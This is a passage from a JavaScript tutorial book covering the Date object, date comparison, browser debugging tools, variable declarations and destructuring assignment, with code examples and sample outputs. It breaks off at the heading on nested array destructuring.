var now = new Date(); // convert date to a string in UTC timezone format: console.log(now.toUTCString()); // Output: Wed, 21 Jun 2017 09:13:01 GMT

The static method Date.now() returns the number of milliseconds that have elapsed since 1 January 1970 00:00:00 UTC. To get the number of milliseconds that have elapsed since that time using an instance of a Date object, use its getTime method.

// get milliseconds using static method now of Date console.log(Date.now());

// get milliseconds using method getTime of Date instance console.log((new Date()).getTime());

Create a new Date object

To create a new Date object use the Date() constructor:

• with no arguments

Date() creates a Date instance containing the current time (up to milliseconds) and date.

• with one integer argument

Date(m) creates a Date instance containing the time and date corresponding to the Epoch time (1 January, 1970 UTC) plus m milliseconds. Example: new Date(749019369738) gives the date Sun, 26 Sep 1993 04:56:09 GMT.

• with a string argument https://riptutorial.com/ 214 Date(dateString) returns the Date object that results after parsing dateString with Date.parse.

• with two or more integer arguments

Date(i1, i2, i3, i4, i5, i6) reads the arguments as year, month, day, hours, minutes, seconds, milliseconds and instantiates the corresponding Dateobject. Note that the month is 0-indexed in JavaScript, so 0 means January and 11 means December. Example: new Date(2017, 5, 1) gives June 1st, 2017.

Exploring dates

Note that these examples were generated on a browser in the Central Time Zone of the US, during Daylight Time, as evidenced by the code. Where comparison with UTC was instructive, Date.prototype.toISOString() was used to show the date and time in UTC (the Z in the formatted string denotes UTC).

// Creates a Date object with the current date and time from the // user's browser var now = new Date(); now.toString() === 'Mon Apr 11 2016 16:10:41 GMT-0500 (Central Daylight Time)' // true // well, at the time of this writing, anyway

// Creates a Date object at the Unix Epoch (i.e., '1970-01-01T00:00:00.000Z') var epoch = new Date(0); epoch.toISOString() === '1970-01-01T00:00:00.000Z' // true

// Creates a Date object with the date and time 2,012 milliseconds // after the Unix Epoch (i.e., '1970-01-01T00:00:02.012Z'). var ms = new Date(2012); date2012.toISOString() === '1970-01-01T00:00:02.012Z' // true

// Creates a Date object with the first day of February of the year 2012 // in the local timezone. var one = new Date(2012, 1); one.toString() === 'Wed Feb 01 2012 00:00:00 GMT-0600 (Central Standard Time)' // true

// Creates a Date object with the first day of the year 2012 in the local // timezone. // (Months are zero-based) var zero = new Date(2012, 0); zero.toString() === 'Sun Jan 01 2012 00:00:00 GMT-0600 (Central Standard Time)' // true

// Creates a Date object with the first day of the year 2012, in UTC. var utc = new Date(Date.UTC(2012, 0)); utc.toString() === 'Sat Dec 31 2011 18:00:00 GMT-0600 (Central Standard Time)' // true utc.toISOString() === '2012-01-01T00:00:00.000Z' // true

// Parses a string into a Date object (ISO 8601 format added in ECMAScript 5.1) // Implementations should assumed UTC because of ISO 8601 format and Z designation https://riptutorial.com/ 215 var iso = new Date('2012-01-01T00:00:00.000Z'); iso.toISOString() === '2012-01-01T00:00:00.000Z' // true

// Parses a string into a Date object (RFC in JavaScript 1.0) var local = new Date('Sun, 01 Jan 2012 00:00:00 -0600'); local.toString() === 'Sun Jan 01 2012 00:00:00 GMT-0600 (Central Standard Time)' // true

// Parses a string in no particular format, most of the time. Note that parsing // logic in these cases is very implementation-dependent, and therefore can vary // across browsers and versions. var anything = new Date('11/12/2012'); anything.toString() === 'Mon Nov 12 2012 00:00:00 GMT-0600 (Central Standard Time)' // true, in Chrome 49 64-bit on Windows 10 in the en-US locale. Other versions in // other locales may get a different result.

// Rolls values outside of a specified range to the next value. var rollover = new Date(2012, 12, 32, 25, 62, 62, 1023); rollover.toString() === 'Sat Feb 02 2013 02:03:03 GMT-0600 (Central Standard Time)' // true; note that the month rolled over to Feb; first the month rolled over to // Jan based on the month 12 (11 being December), then again because of the day 32 // (January having 31 days).

// Special dates for years in the range 0-99 var special1 = new Date(12, 0); special1.toString() === 'Mon Jan 01 1912 00:00:00 GMT-0600 (Central Standard Time)` // true

// If you actually wanted to set the year to the year 12 CE, you'd need to use the // setFullYear() method: special1.setFullYear(12); special1.toString() === 'Sun Jan 01 12 00:00:00 GMT-0600 (Central Standard Time)` // true

Convert to JSON

var date1 = new Date(); date1.toJSON();

Returns: "2016-04-14T23:49:08.596Z"

Creating a Date from UTC

By default, a Date object is created as local time. This is not always desirable, for example when communicating a date between a server and a client that do not reside in the same timezone. In this scenario, one doesn't want to worry about timezones at all until the date needs to be displayed in local time, if that is even required at all.

The problem

In this problem we want to communicate a specific date (day, month, year) with someone in a different timezone. The first implementation naively uses local times, which results in wrong results. The second implementation uses UTC dates to avoid timezones where they are not needed. https://riptutorial.com/ 216 Naive approach with WRONG results

function formatDate(dayOfWeek, day, month, year) { var daysOfWeek = ["Sun","Mon","Tue","Wed","Thu","Fri","Sat"]; var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]; return daysOfWeek[dayOfWeek] + " " + months[month] + " " + day + " " + year; }

//Foo lives in a country with timezone GMT + 1 var birthday = new Date(2000,0,1); console.log("Foo was born on: " + formatDate(birthday.getDay(), birthday.getDate(), birthday.getMonth(), birthday.getFullYear()));

sendToBar(birthday.getTime());

Sample output: Foo was born on: Sat Jan 1 2000

//Meanwhile somewhere else...

//Bar lives in a country with timezone GMT - 1 var birthday = new Date(receiveFromFoo()); console.log("Foo was born on: " + formatDate(birthday.getDay(), birthday.getDate(), birthday.getMonth(), birthday.getFullYear()));

Sample output: Foo was born on: Fri Dec 31 1999

And thus, Bar would always believe Foo was born on the last day of 1999.

Correct approach

function formatDate(dayOfWeek, day, month, year) { var daysOfWeek = ["Sun","Mon","Tue","Wed","Thu","Fri","Sat"]; var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]; return daysOfWeek[dayOfWeek] + " " + months[month] + " " + day + " " + year; }

//Foo lives in a country with timezone GMT + 1 var birthday = new Date(Date.UTC(2000,0,1)); console.log("Foo was born on: " + formatDate(birthday.getUTCDay(), birthday.getUTCDate(), birthday.getUTCMonth(), birthday.getUTCFullYear()));

sendToBar(birthday.getTime());

Sample output: Foo was born on: Sat Jan 1 2000

//Meanwhile somewhere else...

//Bar lives in a country with timezone GMT - 1 var birthday = new Date(receiveFromFoo()); console.log("Foo was born on: " + formatDate(birthday.getUTCDay(), birthday.getUTCDate(), birthday.getUTCMonth(), birthday.getUTCFullYear()));

Sample output: Foo was born on: Sat Jan 1 2000

https://riptutorial.com/ 217 Creating a Date from UTC

If one wants to create a Date object based on UTC or GMT, the Date.UTC(...) method can be used. It uses the same arguments as the longest Date constructor. This method will return a number representing the time that has passed since January 1, 1970, 00:00:00 UTC.

console.log(Date.UTC(2000,0,31,12));

Sample output: 949320000000

var utcDate = new Date(Date.UTC(2000,0,31,12)); console.log(utcDate);

Sample output: Mon Jan 31 2000 13:00:00 GMT+0100 (West-Europa (standaardtijd))

Unsurprisingly, the difference between UTC time and local time is, in fact, the timezone offset converted to milliseconds.

var utcDate = new Date(Date.UTC(2000,0,31,12)); var localDate = new Date(2000,0,31,12);

console.log(localDate - utcDate === utcDate.getTimezoneOffset() * 60 * 1000);

Sample output: true

Changing a Date object

All Date object modifiers, such as setDate(...) and setFullYear(...) have an equivalent takes an argument in UTC time rather than in local time.

var date = new Date(); date.setUTCFullYear(2000,0,31); date.setUTCHours(12,0,0,0); console.log(date);

Sample output: Mon Jan 31 2000 13:00:00 GMT+0100 (West-Europa (standaardtijd))

The other UTC-specific modifiers are .setUTCMonth(), .setUTCDate() (for the day of the month), .setUTCMinutes(), .setUTCSeconds() and .setUTCMilliseconds().

Avoiding ambiguity with getTime() and setTime()

Where the methods above are required to differentiate between ambiguity in dates, it is usually easier to communicate a date as the amount of time that has passed since January 1, 1970, 00:00:00 UTC. This single number represents a single point in time, and can be converted to local time whenever necessary.

https://riptutorial.com/ 218 var date = new Date(Date.UTC(2000,0,31,12)); var timestamp = date.getTime(); //Alternatively var timestamp2 = Date.UTC(2000,0,31,12); console.log(timestamp === timestamp2);

Sample output: true

//And when constructing a date from it elsewhere... var otherDate = new Date(timestamp);

//Represented as an universal date console.log(otherDate.toUTCString()); //Represented as a local date console.log(otherDate);

Sample output:

Mon, 31 Jan 2000 12:00:00 GMT Mon Jan 31 2000 13:00:00 GMT+0100 (West-Europa (standaardtijd))

Convert to a string format Convert to String

var date1 = new Date(); date1.toString();

Returns: "Fri Apr 15 2016 07:48:48 GMT-0400 (Eastern Daylight Time)"

Convert to Time String

var date1 = new Date(); date1.toTimeString();

Returns: "07:48:48 GMT-0400 (Eastern Daylight Time)"

Convert to Date String

var date1 = new Date(); date1.toDateString();

https://riptutorial.com/ 219 Returns: "Thu Apr 14 2016"

Convert to UTC String

var date1 = new Date(); date1.toUTCString();

Returns: "Fri, 15 Apr 2016 11:48:48 GMT"

Convert to ISO String

var date1 = new Date(); date1.toISOString();

Returns: "2016-04-14T23:49:08.596Z"

Convert to GMT String

var date1 = new Date(); date1.toGMTString();

Returns: "Thu, 14 Apr 2016 23:49:08 GMT"

This function has been marked as deprecated so some browsers may not support it in the future. It is suggested to use toUTCString() instead.

Convert to Locale Date String

var date1 = new Date(); date1.toLocaleDateString();

Returns: "4/14/2016"

This function returns a locale sensitive date string based upon the user's location by default.

date1.toLocaleDateString([locales [, options]]) can be used to provide specific locales but is browser implementation specific. For example,

https://riptutorial.com/ 220 date1.toLocaleDateString(["zh", "en-US"]); would attempt to print the string in the chinese locale using United States English as a fallback. The options parameter can be used to provide specific formatting. For example:

var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; date1.toLocaleDateString([], options); would result in

"Thursday, April 14, 2016".

See the MDN for more details.

Increment a Date Object

To increment date objects in Javascript, we can usually do this:

var checkoutDate = new Date(); // Thu Jul 21 2016 10:05:13 GMT-0400 (EDT)

checkoutDate.setDate( checkoutDate.getDate() + 1 );

console.log(checkoutDate); // Fri Jul 22 2016 10:05:13 GMT-0400 (EDT)

It is possible to use setDate to change the date to a day in the following month by using a value larger than the number of days in the current month -

var checkoutDate = new Date(); // Thu Jul 21 2016 10:05:13 GMT-0400 (EDT) checkoutDate.setDate( checkoutDate.getDate() + 12 ); console.log(checkoutDate); // Tue Aug 02 2016 10:05:13 GMT-0400 (EDT)

The same applies to other methods such as getHours(), getMonth(),etc.

Adding Work Days

If you wish to add work days (in this case I am assuming Monday - Friday) you can use the setDate function although you need a little extra logic to account for the weekends (obviously this will not take account of national holidays) -

function addWorkDays(startDate, days) { // Get the day of the week as a number (0 = Sunday, 1 = Monday, .... 6 = Saturday) var dow = startDate.getDay(); var daysToAdd = days; // If the current day is Sunday add one day if (dow == 0) daysToAdd++; // If the start date plus the additional days falls on or after the closest Saturday calculate weekends if (dow + daysToAdd >= 6) { //Subtract days in current working week from work days var remainingWorkDays = daysToAdd - (5 - dow); //Add current working week's weekend https://riptutorial.com/ 221 daysToAdd += 2; if (remainingWorkDays > 5) { //Add two days for each working week by calculating how many weeks are included daysToAdd += 2 * Math.floor(remainingWorkDays / 5); //Exclude final weekend if remainingWorkDays resolves to an exact number of weeks if (remainingWorkDays % 5 == 0) daysToAdd -= 2; } } startDate.setDate(startDate.getDate() + daysToAdd); return startDate; }

Get the number of milliseconds elapsed since 1 January 1970 00:00:00 UTC

The static method Date.now returns the number of milliseconds that have elapsed since 1 January 1970 00:00:00 UTC. To get the number of milliseconds that have elapsed since that time using an instance of a Date object, use its getTime method.

// get milliseconds using static method now of Date console.log(Date.now());

// get milliseconds using method getTime of Date instance console.log((new Date()).getTime());

Formatting a JavaScript date Formatting a JavaScript date in modern browsers

In modern browsers (*), Date.prototype.toLocaleDateString() allows you to define the formatting of a Date in a convenient manner.

It requires the following format :

dateObj.toLocaleDateString([locales [, options]])

The locales parameter should be a string with a BCP 47 language tag, or an array of such strings.

The options parameter should be an object with some or all of the following properties:

• localeMatcher : possible values are "lookup" and "best fit"; the default is "best fit" • timeZone : the only value implementations must recognize is "UTC"; the default is the runtime's default time zone • hour12 :possible values are true and false; the default is locale dependent • formatMatcher : possible values are "basic" and "best fit"; the default is "best fit" • weekday : possible values are "narrow", "short" & "long" • era : possible values are "narrow", "short" & "long" https://riptutorial.com/ 222 • year : possible values are "numeric" & "2-digit" • month : possible values are "numeric", "2-digit", "narrow", "short" & "long" • day : possible values are "numeric" & "2-digit" • hour : possible values are "numeric" & "2-digit" • minute : possible values are "numeric" & "2-digit" • second : possible values are "numeric" & "2-digit" • timeZoneName : possible values are "short" & "long"

How to use

var today = new Date().toLocaleDateString('en-GB', { day : 'numeric', month : 'short', year : 'numeric' });

Output if executed on January 24ʰ, 2036 :

'24 Jan 2036'

Going custom

If Date.prototype.toLocaleDateString() isn't flexible enough to fulfill whatever need you may have, you might want to consider creating a custom Date object that looks like this:

var DateObject = (function() { var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ]; var date = function(str) { this.set(str); }; date.prototype = { set : function(str) { var dateDef = str ? new Date(str) : new Date(); this.day = dateDef.getDate(); this.dayPadded = (this.day < 10) ? ("0" + this.day) : "" + this.day; this.month = dateDef.getMonth() + 1; this.monthPadded = (this.month < 10) ? ("0" + this.month) : "" + this.month; this.monthName = monthNames[this.month - 1]; this.year = dateDef.getFullYear(); }, get : function(properties, separator) { var separator = separator ? separator : '-' ret = []; for(var i in properties) { ret.push(this[properties[i]]); https://riptutorial.com/ 223 } return ret.join(separator); } }; return date; })();

If you included that code and executed new DateObject() on January 20ʰ, 2019, it would produce an object with the following properties:

day: 20 dayPadded: "20" month: 1 monthPadded: "01" monthName: "January" year: 2019

To get a formatted string, you could do something like this:

new DateObject().get(['dayPadded', 'monthPadded', 'year']);

That would produce the following output:

20-01-2016

(*) According to the MDN, "modern browsers" means Chrome 24+, Firefox 29+, IE11, Edge12+, Opera 15+ & Safari nightly build

Read Date online: https://riptutorial.com/javascript/topic/265/date

https://riptutorial.com/ 224 Chapter 33: Date Comparison

Examples

Comparing Date values

To check the equality of Date values:

var date1 = new Date(); var date2 = new Date(date1.valueOf() + 10); console.log(date1.valueOf() === date2.valueOf());

Sample output: false

Note that you must use valueOf() or getTime() to compare the values of Date objects because the equality operator will compare if two object references are the same. For example:

var date1 = new Date(); var date2 = new Date(); console.log(date1 === date2);

Sample output: false

Whereas if the variables point to the same object:

var date1 = new Date(); var date2 = date1; console.log(date1 === date2);

Sample output: true

However, the other comparison operators will work as usual and you can use < and > to compare that one date is earlier or later than the other. For example:

var date1 = new Date(); var date2 = new Date(date1.valueOf() + 10); console.log(date1 < date2);

Sample output: true

It works even if the operator includes equality:

var date1 = new Date(); var date2 = new Date(date1.valueOf()); console.log(date1 <= date2);

Sample output: true

https://riptutorial.com/ 225 Date Difference Calculation

To compare the difference of two dates, we can do the comparison based on the timestamp.

var date1 = new Date(); var date2 = new Date(date1.valueOf() + 5000);

var dateDiff = date1.valueOf() - date2.valueOf(); var dateDiffInYears = dateDiff/1000/60/60/24/365; //convert milliseconds into years

console.log("Date difference in years : " + dateDiffInYears);

Read Date Comparison online: https://riptutorial.com/javascript/topic/8035/date-comparison

https://riptutorial.com/ 226 Chapter 34: Debugging

Examples

Breakpoints

Breakpoints pause your program once execution reaches a certain point. You can then step through the program line by line, observing its execution and inspecting the contents of your variables.

There are three ways of creating breakpoints.

1. From code, using the debugger; statement. 2. From the browser, using the Developer Tools. 3. From an Integrated Development Environment (IDE). Debugger Statement

You can place a debugger; statement anywhere in your JavaScript code. Once the JS interpreter reaches that line, it will stop the script execution, allowing you to inspect variables and step through your code. Developer Tools

The second option is to add a breakpoint directly into the code from the browser's Developer Tools.

Opening the Developer Tools

Chrome or Firefox

1. Press F12 to open Developer Tools 2. Switch to the Sources tab (Chrome) or Debugger tab (Firefox) 3. Press Ctrl+P and type the name of your JavaScript file 4. Press Enter to open it.

Internet Explorer or Edge

1. Press F12 to open Developer Tools 2. Switch to the Debugger tab. 3. Use the folder icon near the upper-left corner of the window to open a file-selection pane; you can find your JavaScript file there. https://riptutorial.com/ 227 Safari

1. Press Command+Option+C to open Developer Tools 2. Switch to the Resources tab 3. Open the "Scripts" folder in the left-side panel 4. Select your JavaScript file.

Adding a breakpoint from the Developer Tools

Once you have your JavaScript file open in Developer Tools, you can click a line number to place a breakpoint. The next time your program runs, it will pause there.

Note about Minified Sources: If your source is minified, you can Pretty Print it (convert to readable format). In Chrome, this is done by clicking on the {} button in the bottom right corner of the source code viewer. IDEs

Visual Studio Code (VSC)

VSC has built-in support for debugging JavaScript.

1. Click the Debug button on the left or Ctrl+Shift+D 2. If not already done, create a launch configuration file (launch.json) by pressing the gear icon. 3. Run the code from VSC by pressing the green play button or hit F5.

Adding a breakpoint in VSC

Click next to the line number in your JavaScript source file to add a breakpoint (it will be marked red). To delete the breakpoint, click the red circle again.

Tip: You can also utilise the conditional breakpoints in browser's dev tools. These help in skipping unnecessary breaks in execution. Example scenario: you want to examine a variable in a loop exactly at 5th iteration.

Stepping through code

Once you've paused execution on a breakpoint, you may want to follow execution line-by-line to observe what happens. Open your browser's Developer Tools and look for the Execution Control icons. (This example uses the icons in , but they'll be similar in other browsers.) https://riptutorial.com/ 228 Resume: Unpause execution. Shorcut:F8(Chrome, Firefox)

Step Over: Run the next line of code. If that line contains a function call, run the whole function and move to the next line, rather than jumping to wherever the function is defined. Shortcut : F10(Chrome, Firefox, IE/Edge), F6(Safari)

Step Into: Run the next line of code. If that line contains a function call, jump into the function and pause there. Shortcut : F11(Chrome, Firefox, IE/Edge), F7(Safari)

Step Out: Run the rest of the current function, jump back to where the function was called from, and pause at the next statement there. Shortcut : Shift + F11(Chrome, Firefox, IE/Edge), F8 (Safari)

Use these in conjunction with the Call Stack, which will tell you which function you're currently inside of, which function called that function, and so forth.

See Google's guide on "How to Step Through the Code" for more details and advice.

Links to browser shortcut key documentation:

• Chrome • Firefox • IE • Edge • Safari

Automatically pausing execution

In Google Chrome, you can pause execution without needing to place breakpoints.

Pause on Exception: While this button is toggled on, if your program hits an unhandled exception, the program will pause as if it had hit a breakpoint. The button can be found near Execution Controls and is useful for locating errors.

You can also pause execution when an HTML tag (DOM node) is modified, or when its attributes are changed. To do that, right click the DOM node on the Elements tab and select "Break on...".

Interactive interpreter variables

Note that these only work in the developer tools of certain browsers.

$_ gives you the value of whatever expression was evaluated last.

"foo" // "foo" $_ // "foo"

$0 refers to the DOM element currently selected in the Inspector. So if

is highlighted: https://riptutorial.com/ 229 $0 //
$0.getAttribute('id') // "foo"

$1 refers to the element previously selected, $2 to the one selected before that, and so forth for $3 and $4.

To get a collection of elements matching a CSS selector, use $$(selector). This is essentially a shortcut for document.querySelectorAll.

var images = $$('img'); // Returns an array or a nodelist of all matching elements

$_ $()¹ $$() $0 $1 $2 $3 $4

Opera 15+ 11+ 11+ 11+ 11+ 15+ 15+ 15+

Chrome 22+ ✓ ✓ ✓ ✓ ✓ ✓ ✓

Firefox 39+ ✓ ✓ ✓ × × × ×

IE 11 11 11 11 11 11 11 11

Safari 6.1+ 4+ 4+ 4+ 4+ 4+ 4+ 4+

¹ alias to either document.getElementById or document.querySelector

Elements inspector

Clicking the Select an element in the page to inspect it button in the upper left corner of the Elements tab in Chrome or Inspector tab in Firefox, available from Developer Tools, and then clicking on a element of the page highlights the element and assigns it to the $0 variable.

Elements inspector can be used in variety of ways, for example:

1. You can check if your JS is manipulating DOM the way you expect it to, 2. You can more easily debug your CSS, when seeing which rules affect the element (Styles tab in Chrome) 3. You can play around with CSS and HTML without reloading the page.

Also, Chrome remembers last 5 selections in the Elements tab. $0 is the current selection, while $1 is the previous selection. You can go up to $4. That way you can easily debug multiple nodes without constantly switching selection to them.

You can read more at Google Developers.

Using setters and getters to find what changed a property

Let's say you have an object like this:

https://riptutorial.com/ 230 var myObject = { name: 'Peter' }

Later in your code, you try to access myObject.name and you get George instead of Peter. You start wondering who changed it and where exactly it was changed. There is a way to place a debugger (or something else) on every set (every time someone does myObject.name = 'something'):

var myObject = { _name: 'Peter', set name(name){debugger;this._name=name}, get name(){return this._name} }

Note that we renamed name to _name and we are going to define a setter and a getter for name. set name is the setter. That is a sweet spot where you can place debugger, console.trace(), or anything else you need for debugging. The setter will set the value for name in _name. The getter (the get name part) will read the value from there. Now we have a fully functional object with debugging functionality.

Most of the time, though, the object that gets changed is not under our control. Fortunately, we can define setters and getters on existing objects to debug them.

// First, save the name to _name, because we are going to use name for setter/getter otherObject._name = otherObject.name;

// Create setter and getter Object.defineProperty(otherObject, "name", { set: function(name) {debugger;this._name = name}, get: function() {return this._name} });

Check out setters and getters at MDN for more information.

Browser support for setters/getters:

Chrome Firefox IE Opera Safari Mobile

Version 1 2.0 9 9.5 3 all

Break when a function is called

For named (non-anonymous) functions, you can break when the function is executed.

debug(functionName);

The next time functionName function runs, the debugger will stop on its first line.

Using the console https://riptutorial.com/ 231 In many environments, you have access to a global console object that contains some basic methods for communicating with standard output devices. Most commonly, this will be the browser's JavaScript console (see Chrome, Firefox, Safari, and Edge for more information).

// At its simplest, you can 'log' a string console.log("Hello, World!");

// You can also log any number of comma-separated values console.log("Hello", "World!");

// You can also use string substitution console.log("%s %s", "Hello", "World!");

// You can also log any variable that exist in the same scope var arr = [1, 2, 3]; console.log(arr.length, this);

You can use different console methods to highlight your output in different ways. Other methods are also useful for more advanced debugging.

For more documentation, information on compatibility, and instructions on how to open your browser's console, see the Console topic.

Note: if you need to support IE9, either remove console.log or wrap its calls as follows, because console is undefined until the Developer Tools are opened:

if (console) { //IE9 workaround console.log("test"); }

Read Debugging online: https://riptutorial.com/javascript/topic/642/debugging

https://riptutorial.com/ 232 Chapter 35: Declarations and Assignments

Syntax

• var foo [= value [, foo2 [, foo3 ... [, fooN]]]]; • let bar [= value [, bar2 [, foo3 ... [, barN]]]]; • const baz = value [, baz2 = value2 [, ... [, bazN = valueN]]];

Remarks

See also:

• Reserved Keywords • Scope

Examples

Reassigning constants

You can't reassign constants.

const foo = "bar"; foo = "hello";

Prints:

Uncaught TypeError: Assignment to constant.

Modifying constants

Declaring a variable const only prevents its value from being replaced by a new value. const does not put any restrictions on the internal state of an object. The following example shows that a value of a property of a const object can be changed, and even new properties can be added, because the object that is assigned to person is modified, but not replaced.

const person = { name: "John" }; console.log('The name of the person is', person.name);

person.name = "Steve"; console.log('The name of the person is', person.name);

person.surname = "Fox"; console.log('The name of the person is', person.name, 'and the surname is', person.surname);

https://riptutorial.com/ 233 Result:

The name of the person is John The name of the person is Steve The name of the person is Steve and the surname is Fox

In this example we've created constant object called person and we've reassigned person.name property and created new person.surname property.

Declaring and initializing constants

You can initialize a constant by using the const keyword.

const foo = 100; const bar = false; const person = { name: "John" }; const fun = function () = { /* ... */ }; const arrowFun = () => /* ... */ ;

Important You must declare and initialize a constant in the same statement.

Declaration

There are four principle ways to declare a variable in JavaScript: using the var, let or const keywords, or without a keyword at all ("bare" declaration). The method used determines the resulting scope of the variable, or reassignability in the case of const.

• The var keyword creates a function-scope variable. • The let keyword creates a block-scope variable. • The const keyword creates a block-scope variable that cannot be reassigned. • A bare declaration creates a global variable.

var a = 'foo'; // Function-scope let b = 'foo'; // Block-scope const c = 'foo'; // Block-scope & immutable reference

Keep in mind that you can't declare constants without initializing them at the same time.

const foo; // "Uncaught SyntaxError: Missing initializer in const declaration"

(An example of keyword-less variable declaration is not included above for technical reasons. Continue reading to see an example.)

Data Types

JavaScript variables can hold many data types: numbers, strings, arrays, objects and more:

// Number https://riptutorial.com/ 234 var length = 16;

// String var message = "Hello, World!";

// Array var carNames = ['Chevrolet', 'Nissan', 'BMW'];

// Object var person = { firstName: "John", lastName: "Doe" };

JavaScript has dynamic types. This means that the same variable can be used as different types:

var a; // a is undefined var a = 5; // a is a Number var a = "John"; // a is a String

Undefined

Declared variable without a value will have the value undefined

var a;

console.log(a); // logs: undefined

Trying to retrieve the value of undeclared variables results in a ReferenceError. However, both the type of undeclared and unitialized variables is "undefined":

var a; console.log(typeof a === "undefined"); // logs: true console.log(typeof variableDoesNotExist === "undefined"); // logs: true

Assignment

To assign a value to a previously declared variable, use the assignment operator, =:

a = 6; b = "Foo";

As an alternative to independent declaration and assignment, it is possible to perform both steps in one statement:

var a = 6; let b = "Foo";

It is in this syntax that global variables may be declared without a keyword; if one were to declare a bare variable without an assignment immediately afterword, the interpreter would not be able to differentiate global declarations a; from references to variables a;. https://riptutorial.com/ 235 c = 5; c = "Now the value is a String."; myNewGlobal; // ReferenceError

Note, however, that the above syntax is generally discouraged and is not strict-mode compliant. This is to avoid the scenario in which a programmer inadvertently drops a let or var keyword from their statement, accidentally creating a variable in the global namespace without realizing it. This can pollute the global namespace and conflict with libraries and the proper functioning of a script. Therefore global variables should be declared and initialized using the var keyword in the context of the window object, instead, so that the intent is explicitly stated.

Additionally, variables may be declared several at a time by separating each declaration (and optional value assignment) with a comma. Using this syntax, the var and let keywords need only be used once at the beginning of each statement.

globalA = "1", globalB = "2"; let x, y = 5; var person = 'John Doe', foo, age = 14, date = new Date();

Notice in the preceding code snippet that the order in which declaration and assignment expressions occur (var a, b, c = 2, d;) does not matter. You may freely intermix the two.

Function declaration effectively creates variables, as well.

Mathematic operations and assignment

Increment by

var a = 9, b = 3; b += a; b will now be 12

This is functionally the same as

b = b + a;

Decrement by

var a = 9, b = 3; b -= a; b will now be 6 https://riptutorial.com/ 236 This is functionally the same as

b = b - a;

Multiply by

var a = 5, b = 3; b *= a; b will now be 15

This is functionally the same as

b = b * a;

Divide by

var a = 3, b = 15; b /= a; b will now be 5

This is functionally the same as

b = b / a;

7

Raised to the power of

var a = 3, b = 15; b **= a; b will now be 3375

This is functionally the same as

b = b ** a;

Read Declarations and Assignments online: https://riptutorial.com/javascript/topic/3059/declarations-and-assignments

https://riptutorial.com/ 237 Chapter 36: Destructuring assignment

Introduction

Destructuring is a pattern matching technique that is added to Javascript recently in EcmaScript 6.

It allows you to bind a group of variables to a corresponding set of values when their pattern matches to the right hand-side and the left hand-side of the expression.

Syntax

• let [x, y] = [1, 2] • let [first, ...rest] = [1, 2, 3, 4] • let [one, , three] = [1, 2, 3] • let [val='default value'] = [] • let {a, b} = {a: x, b: y} • let {a: {c}} = {a: {c: 'nested'}, b: y} • let {b='default value'} = {a: 0}

Remarks

Destructuring is new in the ECMAScript 6 (A.K.A ES2015) specification and browser support may be limited. The following table gives an overview of the earliest version of browsers that supported >75% of the specification.

Chrome Edge Firefox Internet Explorer Opera Safari

49 13 45 x 36 x

(Last Updated - 2016/08/18)

Examples

Destructuring function arguments

Pull properties from an object passed into a function. This pattern simulates named parameters instead of relying on argument position.

let user = { name: 'Jill', age: 33, profession: 'Pilot' }

https://riptutorial.com/ 238 function greeting ({name, profession}) { console.log(`Hello, ${name} the ${profession}`) }

greeting(user)

This also works for arrays:

let parts = ["Hello", "World!"];

function greeting([first, second]) { console.log(`${first} ${second}`); }

Renaming Variables While Destructuring

Destructuring allows us to refer to one key in an object, but declare it as a variable with a different name. The syntax looks like the key-value syntax for a normal JavaScript object.

let user = { name: 'John Smith', id: 10, email: '[email protected]', };

let {user: userName, id: userId} = user;

console.log(userName) // John Smith console.log(userId) // 10

Destructuring Arrays

const myArr = ['one', 'two', 'three'] const [ a, b, c ] = myArr

// a = 'one', b = 'two, c = 'three'

We can set default value in destructuring array, see the example of Default Value While Destructuring.

With destructuring array, we can swap the values of 2 variables easily:

var a = 1; var b = 3;

[a, b] = [b, a]; // a = 3, b = 1

We can specify empty slots to skip unneeded values:

[a, , b] = [1, 2, 3] // a = 1, b = 3

https://riptutorial.com/ 239 Destructuring Objects

Destructuring is a convenient way to extract properties from objects into variables.

Basic syntax:

let person = { name: 'Bob', age: 25 };

let { name, age } = person;

// Is equivalent to let name = person.name; // 'Bob' let age = person.age; // 25

Destructuring and renaming:

let person = { name: 'Bob', age: 25 };

let { name: firstName } = person;

// Is equivalent to let firstName = person.name; // 'Bob'

Destructuring with default values:

let person = { name: 'Bob', age: 25 };

let { phone = '123-456-789' } = person;

// Is equivalent to let phone = person.hasOwnProperty('phone') ? person.phone : '123-456-789'; // '123-456-789'

Destructuring and renaming with default values

let person = { name: 'Bob', age: 25 };

let { phone: p = '123-456-789' } = person;

// Is equivalent to let p = person.hasOwnProperty('phone') ? person.phone : '123-456-789'; // '123-456-789'

https://riptutorial.com/ 240 Destructuring inside variables

Aside from destructuring objects into function arguments, you can use them inside variable declarations as follows:

const person = { name: 'John Doe', age: 45, location: 'Paris, France', };

let { name, age, location } = person;

console.log('I am ' + name + ', aged ' + age + ' and living in ' + location + '.'); // -> "I am John Doe aged 45 and living in Paris, France."

As you can see, three new variables were created: name, age and location and their values were grabbed from the object person if they matched key names.

Using rest parameters to create an arguments array

If you ever need an array that consists of extra arguments that you may or may not expect to have, apart from the ones you specifically declared, you can use the array rest parameter inside the arguments declaration as follows:

Example 1, optional arguments into an array:

function printArgs(arg1, arg2, ...theRest) { console.log(arg1, arg2, theRest); }

printArgs(1, 2, 'optional', 4, 5); // -> "1, 2, ['optional', 4, 5]"

Example 2, all arguments are an array now:

function printArgs(...myArguments) { console.log(myArguments, Array.isArray(myArguments)); }

printArgs(1, 2, 'Arg #3'); // -> "[1, 2, 'Arg #3'] true"

The console printed true because myArguments is an Array, also, the ...myArguments inside the parameters arguments declaration converts a list of values obtained by the function (parameters) separated by commas into a fully functional array (and not an Array-like object like the native arguments object).

Default Value While Destructuring

We often encounter a situation where a property we're trying to extract doesn't exist in the https://riptutorial.com/ 241 object/array, resulting in a TypeError (while destructuring nested objects) or being set to undefined. While destructuring we can set a default value, which it will fallback to, in case of it not being found in the object.

var obj = {a : 1}; var {a : x , b : x1 = 10} = obj; console.log(x, x1); // 1, 10

var arr = []; var [a = 5, b = 10, c] = arr; console.log(a, b, c); // 5, 10, undefined

Nested Destructuring

We are not limited to destructuring an object/array, we can destructure a nested object/array.

Nested Object Destructuring

var obj = { a: { c: 1, d: 3 }, b: 2 };

var { a: { c: x, d: y }, b: z } = obj;

console.log(x, y, z); // 1,3,2

Nested Array Destructuring

